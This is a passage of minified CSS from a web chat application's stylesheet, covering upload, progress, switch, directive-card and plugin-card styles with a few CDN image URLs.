200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%20127%200'%20result='hardAlpha'/%3e%3cfeOffset%20dy='2'/%3e%3cfeGaussianBlur%20stdDeviation='1'/%3e%3cfeComposite%20in2='hardAlpha'%20operator='out'/%3e%3cfeColorMatrix%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200.1%200'/%3e%3cfeBlend%20mode='normal'%20in2='BackgroundImageFix'%20result='effect1_dropShadow_2858_1943'/%3e%3cfeBlend%20mode='normal'%20in='SourceGraphic'%20in2='effect1_dropShadow_2858_1943'%20result='shape'/%3e%3c/filter%3e%3cfilter%20id='filter1_d_2858_1943'%20x='5.1'%20y='7.78748'%20width='21.8'%20height='23.2125'%20filterUnits='userSpaceOnUse'%20color-interpolation-filters='sRGB'%3e%3cfeFlood%20flood-opacity='0'%20result='BackgroundImageFix'/%3e%3cfeColorMatrix%20in='SourceAlpha'%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%20127%200'%20result='hardAlpha'/%3e%3cfeOffset%20dy='2'/%3e%3cfeGaussianBlur%20stdDeviation='1'/%3e%3cfeComposite%20in2='hardAlpha'%20operator='out'/%3e%3cfeColorMatrix%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200.1%200'/%3e%3cfeBlend%20mode='normal'%20in2='BackgroundImageFix'%20result='effect1_dropShadow_2858_1943'/%3e%3cfeBlend%20mode='normal'%20in='SourceGraphic'%20in2='effect1_dropShadow_2858_1943'%20result='shape'/%3e%3c/filter%3e%3clinearGradient%20id='paint0_linear_2858_1943'%20x1='5.72788'%20y1='8.31488'%20x2='8.97394'%20y2='16.462'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23E2B1FF'/%3e%3cstop%20offset='1'%20stop-color='%236E60FD'/%3e%3c/linearGradient%3e%3clinearGradient%20id='paint1_linear_2858_1943'%20x1='2.03274'%20y1='15.8522'%20x2='16.3487'%20y2='31.8609'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23E2B1FF'/%3e%3cstop%20offset='1'%20stop-color='%236E60FD'/%3e%3c/linearGradient%3e%3c/defs%3e%3c/svg%3e") center/cover no-repeat}.directive-card .directive-title[data-v-f4917e76]{font-weight:600;font-size:16px;height:22px;line-height:22px;color:var(--color-text-primary);display:flex;align-items:center;column-gap:8px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.directive-card .directive-desc[data-v-f4917e76]{display:-webkit-box;-webkit-line-clamp:2;overflow:hidden;text-overflow:ellipsis;-webkit-box-orient:vertical;margin:8px 0 0;color:var(--color-text-desc);font-size:12px}@media screen and (min-width: 769px){.scroll-bar-style[data-v-d9a18ae5]:hover::-webkit-scrollbar-thumb,.directive-input .directive-input-content[data-v-d9a18ae5]:hover::-webkit-scrollbar-thumb,.directive-input[data-v-d9a18ae5]:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px #0000001a;background:#f7f7fc}.scroll-bar-style[data-v-d9a18ae5]::-webkit-scrollbar,.directive-input .directive-input-content[data-v-d9a18ae5]::-webkit-scrollbar,.directive-input[data-v-d9a18ae5]::-webkit-scrollbar{width:5px;height:5px}.scroll-bar-style[data-v-d9a18ae5]::-webkit-scrollbar-thumb,.directive-input .directive-input-content[data-v-d9a18ae5]::-webkit-scrollbar-thumb,.directive-input[data-v-d9a18ae5]::-webkit-scrollbar-thumb{border-radius:10px;box-shadow:inset 0 0 5px #0000;background:#0000}.scroll-bar-style[data-v-d9a18ae5]::-webkit-scrollbar-track,.directive-input .directive-input-content[data-v-d9a18ae5]::-webkit-scrollbar-track,.directive-input[data-v-d9a18ae5]::-webkit-scrollbar-track{border-radius:10px;background:#0000}}.ske[data-v-d9a18ae5]{display:flex;gap:16px;height:258px}.ske .ske-item[data-v-d9a18ae5]{flex:1;height:100%}.ske-2[data-v-d9a18ae5]{display:grid;grid-template-columns:repeat(3,33.33%);grid-template-rows:repeat(3,33.33%);grid-row-gap:15px;grid-column-gap:15px}.ske-2 .ske-2-item[data-v-d9a18ae5]{height:108px}.directive-input[data-v-d9a18ae5]{overflow:hidden;background:#fff;position:relative;z-index:2;border-radius:var(--0b01d126)}.directive-input[data-v-d9a18ae5]:after{content:"";position:absolute;width:calc(100% - 20px);height:32px;bottom:0;left:0;background:red;margin:0 10px;border-bottom:1px solid #f2f2f5;background:linear-gradient(to bottom,#fff0,#fff)}.directive-input .directive-input-content[data-v-d9a18ae5]{position:relative;margin:0 auto;overflow-x:hidden;overflow-y:auto;height:var(--3fbe2dfa);padding:10px 4px 10px 8px;box-sizing:border-box}.directive-input .directive-input-content .roles[data-v-d9a18ae5]{height:306px}.directive-input .directive-input-content .roles:hover .arrow[data-v-d9a18ae5]{opacity:1}.directive-input .directive-input-content .roles+.title[data-v-d9a18ae5]{margin-top:24px}.directive-input .title[data-v-d9a18ae5]{font-size:16px;font-weight:600;height:40px;line-height:40px;color:var(--color-text-primary);margin-bottom:8px;padding-left:12px;box-sizing:border-box}.directive-input .arrow[data-v-d9a18ae5]{position:absolute;top:182px;z-index:99;width:32px;height:32px;cursor:pointer;color:#f2f2f5;opacity:0;transition:opacity .3s}.directive-input .arrow.l[data-v-d9a18ae5]{left:8px}.directive-input .arrow.r[data-v-d9a18ae5]{right:8px}.directive-input .arrow.disabled[data-v-d9a18ae5]{cursor:not-allowed;color:#f2f2f566}.directive-input .scroll-wrapper[data-v-d9a18ae5]{width:100%;overflow:hidden;position:relative}.directive-input .role-list[data-v-d9a18ae5]{display:flex;justify-content:space-between;width:max-content;column-gap:16px}.directive-input .directive-list[data-v-d9a18ae5]{display:flex;flex-wrap:wrap;gap:6px;justify-content:flex-start}.directive-input .directive-list .directive-card[data-v-d9a18ae5]{width:calc((100% - 12px) / 3);padding:10px;height:unset}.el-upload{--el-upload-dragger-padding-horizontal:40px;--el-upload-dragger-padding-vertical:10px}.el-upload{display:inline-flex;justify-content:center;align-items:center;cursor:pointer;outline:0}.el-upload__input{display:none}.el-upload__tip{font-size:12px;color:var(--el-text-color-regular);margin-top:7px}.el-upload iframe{position:absolute;z-index:-1;top:0;left:0;opacity:0}.el-upload--picture-card{--el-upload-picture-card-size:148px;background-color:var(--el-fill-color-lighter);border:1px dashed var(--el-border-color-darker);border-radius:6px;box-sizing:border-box;width:var(--el-upload-picture-card-size);height:var(--el-upload-picture-card-size);cursor:pointer;vertical-align:top;display:inline-flex;justify-content:center;align-items:center}.el-upload--picture-card>i{font-size:28px;color:var(--el-text-color-secondary)}.el-upload--picture-card:hover{border-color:var(--el-color-primary);color:var(--el-color-primary)}.el-upload.is-drag{display:block}.el-upload:focus{border-color:var(--el-color-primary);color:var(--el-color-primary)}.el-upload:focus .el-upload-dragger{border-color:var(--el-color-primary)}.el-upload-dragger{padding:var(--el-upload-dragger-padding-horizontal) var(--el-upload-dragger-padding-vertical);background-color:var(--el-fill-color-blank);border:1px dashed var(--el-border-color);border-radius:6px;box-sizing:border-box;text-align:center;cursor:pointer;position:relative;overflow:hidden}.el-upload-dragger .el-icon--upload{font-size:67px;color:var(--el-text-color-placeholder);margin-bottom:16px;line-height:50px}.el-upload-dragger+.el-upload__tip{text-align:center}.el-upload-dragger~.el-upload__files{border-top:var(--el-border);margin-top:7px;padding-top:5px}.el-upload-dragger .el-upload__text{color:var(--el-text-color-regular);font-size:14px;text-align:center}.el-upload-dragger .el-upload__text em{color:var(--el-color-primary);font-style:normal}.el-upload-dragger:hover{border-color:var(--el-color-primary)}.el-upload-dragger.is-dragover{padding:calc(var(--el-upload-dragger-padding-horizontal) - 1px) calc(var(--el-upload-dragger-padding-vertical) - 1px);background-color:var(--el-color-primary-light-9);border:2px dashed var(--el-color-primary)}.el-upload-list{margin:10px 0 0;padding:0;list-style:none;position:relative}.el-upload-list__item{transition:all .5s cubic-bezier(.55,0,.1,1);font-size:14px;color:var(--el-text-color-regular);margin-bottom:5px;position:relative;box-sizing:border-box;border-radius:4px;width:100%}.el-upload-list__item .el-progress{position:absolute;top:20px;width:100%}.el-upload-list__item .el-progress__text{position:absolute;right:0;top:-13px}.el-upload-list__item .el-progress-bar{margin-right:0;padding-right:0}.el-upload-list__item .el-icon--upload-success{color:var(--el-color-success)}.el-upload-list__item .el-icon--close{display:none;position:absolute;right:5px;top:50%;cursor:pointer;opacity:.75;color:var(--el-text-color-regular);transition:opacity var(--el-transition-duration);transform:translateY(-50%)}.el-upload-list__item .el-icon--close:hover{opacity:1;color:var(--el-color-primary)}.el-upload-list__item .el-icon--close-tip{display:none;position:absolute;top:1px;right:5px;font-size:12px;cursor:pointer;opacity:1;color:var(--el-color-primary);font-style:normal}.el-upload-list__item:hover{background-color:var(--el-fill-color-light)}.el-upload-list__item:hover .el-icon--close{display:inline-flex}.el-upload-list__item:hover .el-progress__text{display:none}.el-upload-list__item .el-upload-list__item-info{display:inline-flex;justify-content:center;flex-direction:column;width:calc(100% - 30px);margin-left:4px}.el-upload-list__item.is-success .el-upload-list__item-status-label{display:inline-flex}.el-upload-list__item.is-success .el-upload-list__item-name:focus,.el-upload-list__item.is-success .el-upload-list__item-name:hover{color:var(--el-color-primary);cursor:pointer}.el-upload-list__item.is-success:focus:not(:hover) .el-icon--close-tip{display:inline-block}.el-upload-list__item.is-success:active,.el-upload-list__item.is-success:not(.focusing):focus{outline-width:0}.el-upload-list__item.is-success:active .el-icon--close-tip,.el-upload-list__item.is-success:not(.focusing):focus .el-icon--close-tip{display:none}.el-upload-list__item.is-success:focus .el-upload-list__item-status-label,.el-upload-list__item.is-success:hover .el-upload-list__item-status-label{display:none;opacity:0}.el-upload-list__item-name{color:var(--el-text-color-regular);display:inline-flex;text-align:center;align-items:center;padding:0 4px;transition:color var(--el-transition-duration);font-size:var(--el-font-size-base)}.el-upload-list__item-name .el-icon{margin-right:6px;color:var(--el-text-color-secondary)}.el-upload-list__item-file-name{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.el-upload-list__item-status-label{position:absolute;right:5px;top:0;line-height:inherit;display:none;height:100%;justify-content:center;align-items:center;transition:opacity var(--el-transition-duration)}.el-upload-list__item-delete{position:absolute;right:10px;top:0;font-size:12px;color:var(--el-text-color-regular);display:none}.el-upload-list__item-delete:hover{color:var(--el-color-primary)}.el-upload-list--picture-card{--el-upload-list-picture-card-size:148px;display:inline-flex;flex-wrap:wrap;margin:0}.el-upload-list--picture-card .el-upload-list__item{overflow:hidden;background-color:var(--el-fill-color-blank);border:1px solid var(--el-border-color);border-radius:6px;box-sizing:border-box;width:var(--el-upload-list-picture-card-size);height:var(--el-upload-list-picture-card-size);margin:0 8px 8px 0;padding:0;display:inline-flex}.el-upload-list--picture-card .el-upload-list__item .el-icon--check,.el-upload-list--picture-card .el-upload-list__item .el-icon--circle-check{color:#fff}.el-upload-list--picture-card .el-upload-list__item .el-icon--close{display:none}.el-upload-list--picture-card .el-upload-list__item:hover .el-upload-list__item-status-label{opacity:0;display:block}.el-upload-list--picture-card .el-upload-list__item:hover .el-progress__text{display:block}.el-upload-list--picture-card .el-upload-list__item .el-upload-list__item-name{display:none}.el-upload-list--picture-card .el-upload-list__item-thumbnail{width:100%;height:100%;-o-object-fit:contain;object-fit:contain}.el-upload-list--picture-card .el-upload-list__item-status-label{right:-15px;top:-6px;width:40px;height:24px;background:var(--el-color-success);text-align:center;transform:rotate(45deg)}.el-upload-list--picture-card .el-upload-list__item-status-label i{font-size:12px;margin-top:11px;transform:rotate(-45deg)}.el-upload-list--picture-card .el-upload-list__item-actions{position:absolute;width:100%;height:100%;left:0;top:0;cursor:default;display:inline-flex;justify-content:center;align-items:center;color:#fff;opacity:0;font-size:20px;background-color:var(--el-overlay-color-lighter);transition:opacity var(--el-transition-duration)}.el-upload-list--picture-card .el-upload-list__item-actions span{display:none;cursor:pointer}.el-upload-list--picture-card .el-upload-list__item-actions span+span{margin-left:1rem}.el-upload-list--picture-card .el-upload-list__item-actions .el-upload-list__item-delete{position:static;font-size:inherit;color:inherit}.el-upload-list--picture-card .el-upload-list__item-actions:hover{opacity:1}.el-upload-list--picture-card .el-upload-list__item-actions:hover span{display:inline-flex}.el-upload-list--picture-card .el-progress{top:50%;left:50%;transform:translate(-50%,-50%);bottom:auto;width:126px}.el-upload-list--picture-card .el-progress .el-progress__text{top:50%}.el-upload-list--picture .el-upload-list__item{overflow:hidden;z-index:0;background-color:var(--el-fill-color-blank);border:1px solid var(--el-border-color);border-radius:6px;box-sizing:border-box;margin-top:10px;padding:10px;display:flex;align-items:center}.el-upload-list--picture .el-upload-list__item .el-icon--check,.el-upload-list--picture .el-upload-list__item .el-icon--circle-check{color:#fff}.el-upload-list--picture .el-upload-list__item:hover .el-upload-list__item-status-label{opacity:0;display:inline-flex}.el-upload-list--picture .el-upload-list__item:hover .el-progress__text{display:block}.el-upload-list--picture .el-upload-list__item.is-success .el-upload-list__item-name i{display:none}.el-upload-list--picture .el-upload-list__item .el-icon--close{top:5px;transform:translateY(0)}.el-upload-list--picture .el-upload-list__item-thumbnail{display:inline-flex;justify-content:center;align-items:center;width:70px;height:70px;-o-object-fit:contain;object-fit:contain;position:relative;z-index:1;background-color:var(--el-color-white)}.el-upload-list--picture .el-upload-list__item-status-label{position:absolute;right:-17px;top:-7px;width:46px;height:26px;background:var(--el-color-success);text-align:center;transform:rotate(45deg)}.el-upload-list--picture .el-upload-list__item-status-label i{font-size:12px;margin-top:12px;transform:rotate(-45deg)}.el-upload-list--picture .el-progress{position:relative;top:-7px}.el-upload-cover{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;z-index:10;cursor:default}.el-upload-cover:after{display:inline-block;content:"";height:100%;vertical-align:middle}.el-upload-cover img{display:block;width:100%;height:100%}.el-upload-cover__label{right:-15px;top:-6px;width:40px;height:24px;background:var(--el-color-success);text-align:center;transform:rotate(45deg)}.el-upload-cover__label i{font-size:12px;margin-top:11px;transform:rotate(-45deg);color:#fff}.el-upload-cover__progress{display:inline-block;vertical-align:middle;position:static;width:243px}.el-upload-cover__progress+.el-upload__inner{opacity:0}.el-upload-cover__content{position:absolute;top:0;left:0;width:100%;height:100%}.el-upload-cover__interact{position:absolute;bottom:0;left:0;width:100%;height:100%;background-color:var(--el-overlay-color-light);text-align:center}.el-upload-cover__interact .btn{display:inline-block;color:#fff;font-size:14px;cursor:pointer;vertical-align:middle;transition:var(--el-transition-md-fade);margin-top:60px}.el-upload-cover__interact .btn i{margin-top:0}.el-upload-cover__interact .btn span{opacity:0;transition:opacity .15s linear}.el-upload-cover__interact .btn:not(:first-child){margin-left:35px}.el-upload-cover__interact .btn:hover{transform:translateY(-13px)}.el-upload-cover__interact .btn:hover span{opacity:1}.el-upload-cover__interact .btn i{color:#fff;display:block;font-size:24px;line-height:inherit;margin:0 auto 5px}.el-upload-cover__title{position:absolute;bottom:0;left:0;background-color:#fff;height:36px;width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-weight:400;text-align:left;padding:0 10px;margin:0;line-height:36px;font-size:14px;color:var(--el-text-color-primary)}.el-upload-cover+.el-upload__inner{opacity:0;position:relative;z-index:1}.el-progress{position:relative;line-height:1;display:flex;align-items:center}.el-progress__text{font-size:14px;color:var(--el-text-color-regular);margin-left:5px;min-width:50px;line-height:1}.el-progress__text i{vertical-align:middle;display:block}.el-progress--circle,.el-progress--dashboard{display:inline-block}.el-progress--circle .el-progress__text,.el-progress--dashboard .el-progress__text{position:absolute;top:50%;left:0;width:100%;text-align:center;margin:0;transform:translateY(-50%)}.el-progress--circle .el-progress__text i,.el-progress--dashboard .el-progress__text i{vertical-align:middle;display:inline-block}.el-progress--without-text .el-progress__text{display:none}.el-progress--without-text .el-progress-bar{padding-right:0;margin-right:0;display:block}.el-progress--text-inside .el-progress-bar{padding-right:0;margin-right:0}.el-progress.is-success .el-progress-bar__inner{background-color:var(--el-color-success)}.el-progress.is-success .el-progress__text{color:var(--el-color-success)}.el-progress.is-warning .el-progress-bar__inner{background-color:var(--el-color-warning)}.el-progress.is-warning .el-progress__text{color:var(--el-color-warning)}.el-progress.is-exception .el-progress-bar__inner{background-color:var(--el-color-danger)}.el-progress.is-exception .el-progress__text{color:var(--el-color-danger)}.el-progress-bar{flex-grow:1;box-sizing:border-box}.el-progress-bar__outer{height:6px;border-radius:100px;background-color:var(--el-border-color-lighter);overflow:hidden;position:relative;vertical-align:middle}.el-progress-bar__inner{position:absolute;left:0;top:0;height:100%;background-color:var(--el-color-primary);text-align:right;border-radius:100px;line-height:1;white-space:nowrap;transition:width .6s ease}.el-progress-bar__inner:after{display:inline-block;content:"";height:100%;vertical-align:middle}.el-progress-bar__inner--indeterminate{transform:translateZ(0);-webkit-animation:indeterminate 3s infinite;animation:indeterminate 3s infinite}.el-progress-bar__inner--striped{background-image:linear-gradient(45deg,rgba(0,0,0,.1) 25%,transparent 25%,transparent 50%,rgba(0,0,0,.1) 50%,rgba(0,0,0,.1) 75%,transparent 75%,transparent);background-size:1.25em 1.25em}.el-progress-bar__inner--striped.el-progress-bar__inner--striped-flow{-webkit-animation:striped-flow 3s linear infinite;animation:striped-flow 3s linear infinite}.el-progress-bar__innerText{display:inline-block;vertical-align:middle;color:#fff;font-size:12px;margin:0 5px}@-webkit-keyframes progress{0%{background-position:0 0}to{background-position:32px 0}}@keyframes progress{0%{background-position:0 0}to{background-position:32px 0}}@-webkit-keyframes indeterminate{0%{left:-100%}to{left:100%}}@keyframes indeterminate{0%{left:-100%}to{left:100%}}@-webkit-keyframes striped-flow{0%{background-position:-100%}to{background-position:100%}}@keyframes striped-flow{0%{background-position:-100%}to{background-position:100%}}.chat-doc-upload-form{margin-top:24px;border:none}.chat-doc-upload-form .chat-doc-upload-form_inner{position:relative}.chat-doc-upload-form .chat-doc-upload-form_inner .is-drag{height:240px}.chat-doc-upload-form .chat-doc-upload-form_inner .is-drag .el-upload-dragger{width:100%;display:flex;align-items:center;justify-content:center;padding:16px;height:100%;border-radius:8px;transition:all .2s;background:linear-gradient(#fff,#fff) padding-box,repeating-linear-gradient(-45deg,#ccccd8 0,#ccccd8 4px,#fff 0,#fff 7px)}.chat-doc-upload-form .chat-doc-upload-form_inner .chat-doc-upload_empty-file .chat-doc-upload__icon{width:48px;margin-bottom:8px}.chat-doc-upload-form .chat-doc-upload-form_inner .chat-doc-upload_empty-file .chat-doc-upload__text{font-size:14px;font-weight:500;color:#222226;line-height:22px}.chat-doc-upload-form .chat-doc-upload-form_inner .chat-doc-upload_empty-file .chat-doc-upload__text em{color:#277ccc;font-style:normal}.chat-doc-upload-form .chat-doc-upload-form_inner .chat-doc-upload_empty-file .chat-doc-upload__text.disabled{cursor:default}.chat-doc-upload-form .chat-doc-upload-form_inner .chat-doc-upload-file img{width:48px;height:48px}.chat-doc-upload-form .chat-doc-upload-form_inner .chat-doc-upload-file .chat-doc-upload__mtext{font-size:14px;font-weight:500;color:#222226;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;max-width:368px;text-align:center;margin:8px auto 0}.chat-doc-upload-form .chat-doc-upload-form_inner .chat-doc-upload-file .chat-doc-upload__text{margin:4px 0 0;font-size:12px;font-weight:400;color:#999aaa}.chat-doc-upload-form .chat-doc-upload-form_inner .chat-doc-upload-file .chat-doc-upload__text em{color:#277ccc;font-style:normal}.chat-doc-upload-form .chat-doc-upload-form_inner .chat-doc-upload-file .chat-doc-upload__mini-btn{margin:8px auto 0;height:24px;background:#fff;border-radius:12px;border:1px solid #ccccd8;padding:0 10px;font-size:12px;font-family:PingFangSC-Regular,PingFang SC;font-weight:400;color:#222226;line-height:24px;vertical-align:middle;display:flex;align-items:center;width:115px;justify-content:center;box-sizing:border-box;overflow:hidden;transition:all .2s}.chat-doc-upload-form .chat-doc-upload-form_inner .chat-doc-upload-file .chat-doc-upload__mini-btn:hover{border-color:#999aaa;background:#fff;color:#555666}.chat-doc-upload-form .chat-doc-upload_progress{box-sizing:border-box;width:100%;height:56px}.chat-doc-upload-form .chat-doc-upload__tip{margin-top:8px;text-align:center;font-size:12px;font-weight:500;color:#8f90a6}.chat-doc-upload .chat-doc-upload-inner[data-v-3c1ced34]{position:relative}.chat-doc-upload .chat-doc-upload-inner .error-text[data-v-3c1ced34]{position:absolute;bottom:-30px;margin:0;font-size:12px;font-weight:400;color:#fc1944;line-height:20px}.chat-doc-upload .footer-btns .chat-doc-button[data-v-3c1ced34]{height:40px;border-radius:20px;padding:0 24px}.input-optimize[data-v-422c47d2]{background:#fff;position:absolute;bottom:10px;right:62px;z-index:2;box-sizing:border-box;display:flex;border-radius:0;justify-content:space-between}.input-optimize .footer-tools[data-v-422c47d2]{display:flex;align-items:center}.input-optimize .footer-tab[data-v-422c47d2]:hover,.input-optimize .footer-tab.active[data-v-422c47d2]{background:#6d5ffd1a;color:#6d5ffd}.input-optimize .footer-tab.active[data-v-422c47d2]{pointer-events:none}.input-optimize .footer-tab svg[data-v-422c47d2]{width:20px;height:20px;outline:none}.input-optimize .footer-btn[data-v-422c47d2]{padding:0 14px;height:28px;box-sizing:border-box;display:flex;justify-content:center;align-items:center;border-radius:8px;overflow:hidden;background:#f3f0fe;column-gap:4px;color:var(--color-text-active);cursor:pointer}.input-optimize .footer-btn img[data-v-422c47d2]{width:20px}.input-optimize .footer-btn svg[data-v-422c47d2]{width:18px;height:18px}.input-optimize .footer-btn .arrow-left[data-v-422c47d2]{transform:translateY(4px)}.el-switch{--el-switch-on-color:var(--el-color-primary);--el-switch-off-color:var(--el-border-color)}.el-switch{display:inline-flex;align-items:center;position:relative;font-size:14px;line-height:20px;height:32px;vertical-align:middle}.el-switch.is-disabled .el-switch__core,.el-switch.is-disabled .el-switch__label{cursor:not-allowed}.el-switch__label{transition:var(--el-transition-duration-fast);height:20px;display:inline-block;font-size:14px;font-weight:500;cursor:pointer;vertical-align:middle;color:var(--el-text-color-primary)}.el-switch__label.is-active{color:var(--el-color-primary)}.el-switch__label--left{margin-right:10px}.el-switch__label--right{margin-left:10px}.el-switch__label *{line-height:1;font-size:14px;display:inline-block}.el-switch__label .el-icon{height:inherit}.el-switch__label .el-icon svg{vertical-align:middle}.el-switch__input{position:absolute;width:0;height:0;opacity:0;margin:0}.el-switch__input:focus-visible~.el-switch__core{outline:2px solid var(--el-switch-on-color);outline-offset:1px}.el-switch__core{display:inline-flex;position:relative;align-items:center;min-width:40px;height:20px;border:1px solid var(--el-switch-border-color,var(--el-switch-off-color));outline:0;border-radius:10px;box-sizing:border-box;background:var(--el-switch-off-color);cursor:pointer;transition:border-color var(--el-transition-duration),background-color var(--el-transition-duration)}.el-switch__core .el-switch__inner{width:100%;transition:all var(--el-transition-duration);height:16px;display:flex;justify-content:center;align-items:center;overflow:hidden;padding:0 4px 0 18px}.el-switch__core .el-switch__inner .is-icon,.el-switch__core .el-switch__inner .is-text{font-size:12px;color:var(--el-color-white);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.el-switch__core .el-switch__action{position:absolute;left:1px;border-radius:var(--el-border-radius-circle);transition:all var(--el-transition-duration);width:16px;height:16px;background-color:var(--el-color-white);display:flex;justify-content:center;align-items:center;color:var(--el-switch-off-color)}.el-switch.is-checked .el-switch__core{border-color:var(--el-switch-border-color,var(--el-switch-on-color));background-color:var(--el-switch-on-color)}.el-switch.is-checked .el-switch__core .el-switch__action{left:calc(100% - 17px);color:var(--el-switch-on-color)}.el-switch.is-checked .el-switch__core .el-switch__inner{padding:0 18px 0 4px}.el-switch.is-disabled{opacity:.6}.el-switch--wide .el-switch__label.el-switch__label--left span{left:10px}.el-switch--wide .el-switch__label.el-switch__label--right span{right:10px}.el-switch .label-fade-enter-from,.el-switch .label-fade-leave-active{opacity:0}.el-switch--large{font-size:14px;line-height:24px;height:40px}.el-switch--large .el-switch__label{height:24px;font-size:14px}.el-switch--large .el-switch__label *{font-size:14px}.el-switch--large .el-switch__core{min-width:50px;height:24px;border-radius:12px}.el-switch--large .el-switch__core .el-switch__inner{height:20px;padding:0 6px 0 22px}.el-switch--large .el-switch__core .el-switch__action{width:20px;height:20px}.el-switch--large.is-checked .el-switch__core .el-switch__action{left:calc(100% - 21px)}.el-switch--large.is-checked .el-switch__core .el-switch__inner{padding:0 22px 0 6px}.el-switch--small{font-size:12px;line-height:16px;height:24px}.el-switch--small .el-switch__label{height:16px;font-size:12px}.el-switch--small .el-switch__label *{font-size:12px}.el-switch--small .el-switch__core{min-width:30px;height:16px;border-radius:8px}.el-switch--small .el-switch__core .el-switch__inner{height:12px;padding:0 2px 0 14px}.el-switch--small .el-switch__core .el-switch__action{width:12px;height:12px}.el-switch--small.is-checked .el-switch__core .el-switch__action{left:calc(100% - 13px)}.el-switch--small.is-checked .el-switch__core .el-switch__inner{padding:0 14px 0 2px}.plugin-tabs[data-v-7e38664f]{display:flex;column-gap:12px;padding-top:11px;box-sizing:border-box;background:#fff}.plugin-tabs.isCards[data-v-7e38664f]{justify-content:space-between;margin-top:var(--45e2ff4c);background:none;padding-top:0}.plugin-tab[data-v-7e38664f]{width:102px;height:34px;box-sizing:border-box;display:flex;justify-content:center;align-items:center;border-radius:8px;font-size:14px;overflow:hidden;color:var(--color-text-desc);cursor:pointer;border:1px solid var(--color-border);margin-bottom:10px;background:#fff}.plugin-tab[data-v-7e38664f]:hover{color:var(--color-text-active);border:1px solid var(--color-text-active)}.plugin-tab.active[data-v-7e38664f]{color:var(--color-text-active);border:1px solid var(--color-text-active);pointer-events:none}.plugin-tab svg[data-v-7e38664f]{width:16px;height:16px;margin-right:6px}.plugin-card[data-v-7e38664f]{width:166px;height:115px;border-radius:8px;overflow:hidden;padding:18px 12px;box-sizing:border-box;cursor:pointer}.plugin-card[data-v-7e38664f]:hover,.plugin-card.active[data-v-7e38664f]{box-shadow:4px 4px 29.8px 3px #877cff66}.plugin-card:hover .card-title[data-v-7e38664f],.plugin-card:hover .card-desc[data-v-7e38664f],.plugin-card.active .card-title[data-v-7e38664f],.plugin-card.active .card-desc[data-v-7e38664f]{color:#fff}.plugin-card:hover .card-title[data-v-7e38664f]:before,.plugin-card:hover .card-desc[data-v-7e38664f]:before,.plugin-card.active .card-title[data-v-7e38664f]:before,.plugin-card.active .card-desc[data-v-7e38664f]:before{background:#fff!important}.plugin-card:hover .el-switch[data-v-7e38664f],.plugin-card:hover .icon-card-right[data-v-7e38664f],.plugin-card.active .el-switch[data-v-7e38664f],.plugin-card.active .icon-card-right[data-v-7e38664f]{opacity:1}.plugin-card:hover.plugin-file[data-v-7e38664f],.plugin-card.active.plugin-file[data-v-7e38664f]{background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/icon-plugin-file.svg?t=2) right bottom/60px 60px no-repeat,linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%)}.plugin-card:hover.plugin-link[data-v-7e38664f],.plugin-card.active.plugin-link[data-v-7e38664f]{background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/icon-plugin-link.svg?t=2) right bottom/60px 60px no-repeat,linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%)}.plugin-card:hover.plugin-code[data-v-7e38664f],.plugin-card.active.plugin-code[data-v-7e38664f]{background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/icon-plugin-code.svg?t=2) right bottom/60px 60px no-repeat,linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%)}.plugin-card:hover.plugin-net[data-v-7e38664f],.plugin-card.active.plugin-net[data-v-7e38664f]{background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/icon-plugin-net.svg?t=2) right bottom/60px 60px no-repeat,linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%)}.plugin-card:hover.plugin-mind[data-v-7e38664f],.plugin-card.active.plugin-mind[data-v-7e38664f]{background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/icon-plugin-mind.svg?t=2) right bottom/60px 60px no-repeat,linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%)}.plugin-card.plugin-file[data-v-7e38664f]{background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/icon-plugin-file.svg?t=2) right bottom/60px 60px no-repeat,linear-gradient(115deg,#faf4ff 31.52%,#eafaff 96.91%)}.plugin-card.plugin-file .card-desc[data-v-7e38664f]:before{background:#574ff5}.plugin-card.plugin-link[data-v-7e38664f]{background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/icon-plugin-link.svg?t=2) right bottom/60px 60px no-repeat,linear-gradient(115deg,#faf4ff 31.52%,#eafaff 96.91%)}.plugin-card.plugin-link .card-desc[data-v-7e38664f]:before{background:#84ffd3}.plugin-card.plugin-code[data-v-7e38664f]{background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/icon-plugin-code.svg?t=2) right bottom/60px 60px no-repeat,linear-gradient(115deg,#faf4ff 31.52%,#eafaff 96.91%)}.plugin-card.plugin-code .card-desc[data-v-7e38664f]:before{background:#0d9aff}.plugin-card.plugin-net[data-v-7e38664f]{background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/icon-plugin-net.svg?t=2) right bottom/60px 60px no-repeat,linear-gradient(115deg,#faf4ff 31.52%,#eafaff 96.91%)}.plugin-card.plugin-net .card-desc[data-v-7e38664f]:before{background:#ff845d}.plugin-card.plugin-mind[data-v-7e38664f]{background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/icon-plugin-mind.svg?t=2) right bottom/60px 60px no-repeat,linear-gradient(115deg,#faf4ff 31.52%,#eafaff 96.91%)}.plugin-card.plugin-mind .card-desc[data-v-7e38664f]:before{background:#0d9aff}.plugin-card 